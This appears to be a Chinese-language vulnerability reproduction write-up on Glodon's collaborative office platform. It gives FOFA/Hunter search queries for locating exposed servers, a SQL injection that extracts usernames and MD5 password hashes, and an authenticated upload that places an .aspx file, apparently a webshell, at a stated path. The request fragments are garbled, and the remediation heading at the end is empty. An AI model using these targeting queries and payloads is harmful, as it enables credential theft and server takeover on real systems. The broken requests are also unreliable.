广联达科技股份有限公司以建设工程领域专业应用为核心基础支撑提供一百余款基于“端云大数据”产品/服务提**业大数据、产业新金融等增值服务的数字建筑平台服务商。

广联达协同办公管理平台其实之前听得比较少查了下公司资料怪不得都是建工类的公司在用

资产特征

鹰图web.body“/Services/Identification/Server/”

fofa

“/Services/Identification/Server/“或者fid”/yV4r5PdARKT4jaqLjJYqw”

前台sql注入

/Webservice/IM/Config/ConfigService.asmx/GetIMDictionary

HTTP/1.1

xml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7

Referer:

http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx

Accept-Encoding:

application/x-www-form-urlencoded

Content-Length:

--根据这个poc可以看到漏洞存在的路径为/Webservice/IM/Config/ConfigService.asmx/GetIMDictionary先来看看这个地址上面有什么

dasdaskey1

这个查询语句是一个SQL语句它的作用是从T_ORG_USER表中选择前1812行数据并返回一个结果集。

ALL操作符来合并两个SELECT语句的结果集。

第一个SELECT语句是固定的它返回一个名为dasdas的列并且该列的值为key1’。

第二个SELECT语句使用了TOP

1812来限制结果集的行数然后使用CONCAT函数将F_CODE和F_PWD_MD5两个字段的值连接起来作为结果集中的一列。

总结起来这个查询语句的目的是从T_ORG_USER表中获取前1812行数据并返回一个包含dasdas列和连接后的F_CODE:F_PWD_MD5列的结果集。

那么来看一下会有什么响应吧

可以看到在result的value里面会将用户名和密码的md5值通过:连接回显出来

后台文件上传

/gtp/im/services/group/msgbroadcastuploadfile.aspx

HTTP/1.1

boundary----WebKitFormBoundaryFfJZ4PlAZBixjELj

Cookie:

登录后的cookie------WebKitFormBoundaryFfJZ4PlAZBixjELj

Content-Disposition:

FRWTXeKBdPAOslypgVhLxcIUNFmStvYbnJGuwEarqkifjTHZQzCoRMWD;

var

%------WebKitFormBoundaryFfJZ4PlAZBixjELj--首先找一下漏洞位置可以看到是一个附件上传的地方并且会返回result应该会返回地址

来看一下poc会响应什么

可以看到上传后的文件名为0fc5eab1-03f0-4249-882d-7533247532b0-123.aspx

在/GTP/IM/Services/Group/Upload/0fc5eab1-03f0-4249-882d-7533247532b0-123.aspx

解决办法